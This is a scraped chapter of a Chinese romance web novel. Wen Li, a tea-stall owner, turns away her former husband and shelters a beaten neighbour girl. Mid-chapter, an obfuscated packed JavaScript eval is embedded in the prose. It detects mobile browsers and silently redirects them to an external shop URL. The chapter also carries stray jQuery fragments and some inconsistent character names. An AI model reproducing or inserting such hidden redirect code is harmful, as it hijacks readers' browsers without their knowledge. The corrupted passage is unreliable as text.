默认冷灰
24号文字
方正启体

17. 前夫

作者:嘉客本书字数:K更新时间:
    萧望之抬腕,怼在眼前的匾额就到了手中,轻轻一抖,‘年轻有为,明察秋毫’八个金光闪闪的大字铺陈眼前。


    姜早儿不敢置信地看着自己的手,东西怎么一转眼就到了歹人手中。


    这歹人还会妖术!


    “东家!”


    姜早儿大喊一声,冲进屋里,“东家,东家,不好了!”


    姜早儿冲进门,看到一脸神在在喝着茶的东家,长出一口气,还好,东家还在,东家没事。


    劈手夺走温梨手中茶盏,“东家,是不是傻,这么冷的天喝冷茶,待会肚子疼可不要哼哼唧唧耍赖不干活。”


    温梨非常好脾气道:“肚子疼要抓药,抓药要花钱,多谢小早儿提醒我。”


    “方才是有些犯傻,给自己过不去。”温梨认错态度好得不得了。


    姜早儿觉得东家话中有话,开口欲问,眼睛扫到尚站在院中的歹人,心头一阵后怕,哆嗦道:“东家,我们要跑吗,跑得掉吗?”


    “不用跑,那是我前夫,他不打人。”温梨起身去灶间烧水,两杯冷茶水,从头凉到脚。


    “啊?!前夫,你不是寡妇吗?”姜早儿惊叹道:“他还阳了?”


    “寡妇?”站在院中的萧望之呼吸一窒,胸膛肉眼可见地起伏几下。


    她以前总说他似石似鹤似冰雪,无悲无喜,可他如今明明是一捧炸药,她的话是风,轻轻一句,他随风而燃,血肉模糊。


    温梨对着姜早儿“嘘”了一声,让她稍安勿躁。


    有什么话,等人走了再说。


    姜早儿眼珠咕噜噜转,不时去看那站在院中之人,后悔极了,方才只顾着怕了,都没有仔细瞧瞧,不知东家的前夫是何模样?


    姜早儿忽地想到,东家在庙会上举止反常定然和他有关,什么样的人让东家这般魂不守舍?


    那人怎么一直站着,都不会回头吗?


    就在姜早儿忍不住要冲出去瞧一眼的时候,那人头也不回的走了。


    姜早儿立刻忽闪着黑白分明的大眼睛,腻到温梨旁边,“东家,那真是你前夫?你们为啥和离?他来找你是要和好吗?你会跟他走吗........”


    姜早儿跟屁虫一般跟着温梨进了灶间,灶膛里的火燃起,温梨把手拢在灶口上,既能暖手,又能让火旺些。


    姜早儿很有眼色地挑了几个细长的甜薯放进灶膛里,也偎在灶门上,催促道,“快点说说,你不说,我晚上睡不着,天明就起不来,起不来就不能出摊,不出摊就要饿死.......”


    温梨不理,只是把甜薯用火棍挪到灶膛边上文火烤着。


    姜早儿看着火中甜薯,满脸哀怨,“咱俩的糖油芝麻胡饼啊,我特意买的猪油渣馅,咬一口,不知多香。”叹了口气道,“田嫂家的小子,真有口福。”


    温梨安慰道:“吃甜薯多好,不用动碗筷,更不用洗涤,吃完喝点热水暖暖,就可以上床,多省事自在。”说完盯着火苗又道:“明日天不亮就要起床备料,今日要早些睡。”


    “可是吃胡饼也不用动碗筷。”姜早儿说完一扫脸上阴霾,目光灼灼看着温梨道,“东家你给我讲讲你和前夫的事呗,我就不想胡饼了”。


    温梨叹口气,悠悠开口,“我前夫,他心中有位青梅竹马,很是喜欢,我们因此和离。”


    “啊?东家你这么美,他居然喜欢别人,狗眼瞎了吧。”姜早儿义愤填膺,“再说,他有青梅竹马,为何还与你成亲,早干吗去了?”


    火光映着温梨浅淡的眸子,“是我非要与他成亲的......”


    温梨把烧好的甜薯递给姜早儿一个,边说边吃,不一会肚子填个半饱,顺便把当年的事说了个七七八八。


    岁月果真是良药,再不堪的过往,如今也能心平气和地说起,温梨心中轻叹。


    翌日,天光微亮时,二人把各色小圆子、姜汁庶糖、茶水、牛乳等一应食材分门别类装进罐子里,然后胡乱吃了口早饭,一起出门去车行租板车。


    院门拉开,门口台阶上瑟缩蹲着一个八九岁的瘦弱女孩,头发上结着霜,看起来冻僵了一般。


    “小叶子,这么冷,你怎么蹲在这?”姜早儿惊呼。


    小叶子抬起埋在两臂之间的小脸,灰扑扑,尖尖的,没有一点肉,只余一双黑葡萄般的眼睛泛着光彩,看着二人笑。


    小叶是街尾猪肉铺家的四女儿,嘴甜,眼里有活,干活也麻利,铺子里忙的时候,时常过来帮忙,姜早儿有时给她两杯茶饮,或者几文钱。


    小叶是个好孩子,她爹却不是东西。


    猪肉铺的老板不像的别的杀猪匠那般五大三粗,反而身材矮小,黑黑瘦瘦,杀猪却是一把好手,对外人很是和善,任人笑弄从不生气,但街坊却知道,在外受气不敢吭一声,回家对着女儿,动不动就是一顿拳脚。


    一个披着和善外皮的禽兽。


    那间猪肉铺也阴森森的,终年渗着血水的屠宰房,姜早儿想起就心里犯怵。


    “庙会人多事忙,姐姐都累坏了吧,我在家闲着没事,想着给你们帮点忙。”小叶跳起来,跺了跺冻僵的脚,扭七拐八走到门前,替她们把门锁上。


    懂事的不像一个小孩。


    温梨看了眼小叶脸上红肿的巴掌印,“你爹又打你了?”


    小叶羞赧地抓了抓鬓边的头发,试图遮住红肿,“不是,昨夜我爹喝醉了,还没醒。”


    “那就是你那个王八蛋弟弟又欺负你。”姜早儿气不打一处来。


    小叶上面三个姐姐,弟弟比小叶小一岁,是他爹的宝贝疙瘩,小小年纪就对姐姐们呼来喝去,小叶在家连丫鬟都不如,稍不如意就被打的鼻青脸肿。


    他爹只会在旁边乐呵呵地看着,末了,还要说一句,“嘿,还是儿子好,拳脚厉害,不受人欺负。”


    父子俩一样只会窝里横。


    小叶没接话,从怀里拿出两副露着五指的棉布手衣,“温姐姐、姜姐姐,这个戴上保暖,不耽误干活,有它暖着,说不定冻疮过几日便好了。”


    “你那来的棉布?”姜早儿戴上试了试,大小刚刚好。


    小叶怯生生的眼睛忽闪了几下,垂头不敢看人,小声道,“我在城南成衣铺子外面捡的他们不要的碎布。”


    “不过都是干净的,我仔细洗过。”小叶子连忙解释道。


    “小叶子手真巧。”姜早儿立刻道,那手衣虽是碎步拼的,但针脚密、也很平整,五颜六色很耐看。


    温梨知道,成衣铺外也不是每日都能捡到碎布,也不知她去了多少次,亦或是说了多少好话,才求得这一点碎布。


    自己的小手也满是冻疮,却给她们做了手衣。


    温梨把手衣收下,心里想着会上给小叶子扯点布,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024598|194332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让她做些东西自己用,“今日,你随我们一起出摊,待茶饮卖完,让小早儿带你去听戏,吃果子,可好?”


    小叶一直紧绷的小脸缓和下来,忙不迭点头。


    只是目光扫过温梨温和的笑,又急速低下头,满声愧疚道:“姐姐,我不听戏吃果子,能不能.......要一个庙会戏台边卖的木宝剑。”


    说完头低得恨不能埋进脖子里。


    姜早儿一听就明白是怎么回事,脑子里自动响起那小畜生的可恨声音,“我要庙会上的木宝剑,你给我买,没有宝剑,你晚上就去睡猪圈!”


    至于小叶有没有钱怎么买,小畜生才不会想这些。


    姜早儿去看东家,温梨点点头。


    姜早儿这才拉起小叶子的手,“戏照听,果子照吃。”说完恨恨道,“那个什么破宝剑也买。”


    小叶子抿抿嘴,眼睛里有了一丝笑意,但很快被愧疚取代。


    姐姐们太好了!


    但她不好,只想着让姐姐为她花钱。


    小叶子躲在衣袖里的手惯性地去摸左手臂上道那疤,只是她家的猪太凶了,上次被弟弟关在猪圈一夜,胳膊差点被猪啃断。


    一念至此,胳膊隐隐痛起来,不过又想到,能和姐姐一起出摊,心里就不慌了,人定下来,这才想起墙边还站着一个人。


    顺着小叶指的方向,温梨看到,后院墙角处站着一个人,一身寒气比小叶子还重,也不知站了多久。


    “他比我来得早。”小叶小声道。


    “他是你们招的帮工吗?”小叶轻轻拉了拉姜早儿的衣角,小声问,如果这样的话,是不是姐姐们用不着她了?


    那个人一看就很有力气,肯定比她能干。


    姜早儿翻了个白眼,“我们可请不起。”


    温梨看了一眼,什么也没说,就那么带着一大一小两个人出了门。


    萧明在温梨看过去的一瞬,脚步不自觉地往前挪了一步,随着温梨转头,又被重新钉在地上。


    三人从车行回来时,已是天光大亮,墙角的人也不见了踪迹。


    温梨不自觉松了口气,他走了最好。


    “东家,走了,东西装好了。”姜早儿给小叶子套了一个她从前穿小的夹袄。


    两个人一左一右搂住宋纤的胳膊,嘻嘻哈哈把走神的人拉回来,在庙会的鼎沸人声里重新鲜活起来。


    恰逢是个好天气,太阳暖和和照着,庙会更热闹了。


    人多,生意自然好,三人晕头转向忙了半天,茶饮和小点心过了午时就已售完。


    姜早儿收拾摊子,温梨快速盘了下账,收获颇丰。


    “咕噜、咕噜”小叶子羞怯地地揉揉肚子,想把声音压下去,姜早儿立刻跳起,“饿死了,饿死了,吃饭吃饭。”


    温梨把荷包递过去,姜早儿拉着小叶子如鱼般涌入人群,一晃就不见人影。


    待二人走远,温梨的目光落在远处,那抹白依旧刺眼,他如今这个做派又是为何?


    还要死缠烂打不成?


    一念至此,温梨竟觉有些好笑,那么冷心冷情的一个人,通身冰雪。


    三年了,她如今亦心如冰雪。


    突然想到姜早儿的话,挂在檐下的两根冰凌子,温梨被自己心中所想惹笑。


    总之,温情杳然,唯余彻骨冰寒,他们之间再无可能!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)